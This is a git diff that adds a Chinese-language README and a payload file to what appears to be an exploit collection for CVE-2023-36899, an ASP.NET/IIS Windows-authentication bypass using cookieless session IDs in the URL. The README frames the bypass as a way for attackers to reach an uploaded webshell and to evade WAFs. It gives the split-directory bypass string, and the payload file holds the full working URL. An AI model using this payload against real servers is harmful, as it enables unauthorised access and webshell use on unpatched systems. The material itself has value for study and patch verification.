diff --git a/00-CVE_EXP/CVE-2023-36899/README.md b/00-CVE_EXP/CVE-2023-36899/README.md new file mode 100644 index 0000000..03c6c98 --- /dev/null +++ b/00-CVE_EXP/CVE-2023-36899/README.md @@ -0,0 +1,35 @@ + + +# CVE-2023-36899.NET 身份绕过 IIS 认证 + +默认情况下.NET 会话产生的 SessionID 一般位于 HTTP 报文请求或者响应的 Cookie 字段, +命名方式如下 +`Cookie:ASP.NET_SessionId=uxfzmc552rdiwh45ja2t3vud;` + +如果不想用上述的 Cookie 存储方式也可以改成 Cookie 不带 SessionID 这样的会话,只需要在 web.config 配置节点属性 cookieless 属性为 true,这样.NET 将会话 ID 随着 HTTP 请求附加到 URL 地址上。配置清单如下 +```xml + + + +``` +这样配置后 Cookie 作为 URL 地址的一部分,会话 SessionID 值都以明文的形式发送显然 +是不安全的。如下图 +但是在早期基于.NET Framwork 版本的应用中大量存在这样的场景,然而这种特性也会存 +在绕过 IIS 身份验证的风险。以下通过实验演示绕过 IIS 身份验证的漏洞场景。 +在 IIS 项目中 Windows 身份验证是一种强大且广泛使用的身份验证方法,需要匿名访问的 +用户输入正确的 Windows 本地帐户登录后才能访问该 Web 应用。配置 Windows 身份验证 +步骤如下: +1. 启用 Windows 身份验证安全功能 +2. 打开 IIS10 选择 Uploads 目录后进入身份验证模块,启用 Windows 身份验证 +配置完成后访问 /(S(mwdwx5uhl2yqliv2w45c5cla))/uploads/dynamicCompilerSpy.aspx +弹出授权登录对话框如下图 +遇到这种需要本地 Windows 账户登录才能访问,一般攻击在打点时遇到这样 WebShell 上 +传后的场景还是比较常见的,以前可能就放弃或者找其他的解决办法,现在可以用 URL 会 +话 ID 的方式绕过, +3. 常用的 Bypass Payload 如下 +`(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/ +` + +输入两次会话 ID,并且拆解了 uploads 目录,这对绕过 WAF 等安全防护也是有用的。请求 +`http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx` +后成功绕过 Windows 身份认证 \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2023-36899/payload b/00-CVE_EXP/CVE-2023-36899/payload new file mode 100644 index 0000000..bd1ad37 --- /dev/null +++ b/00-CVE_EXP/CVE-2023-36899/payload @@ -0,0 +1 @@ +http://192.168.101.77/(S(mwdwx5uhl2yqliv2w45c5cla))/up/(S(mwdwx5uhl2yqliv2w45c5cla))loads/dynamicCompilerSpy.aspx \ No newline at end of file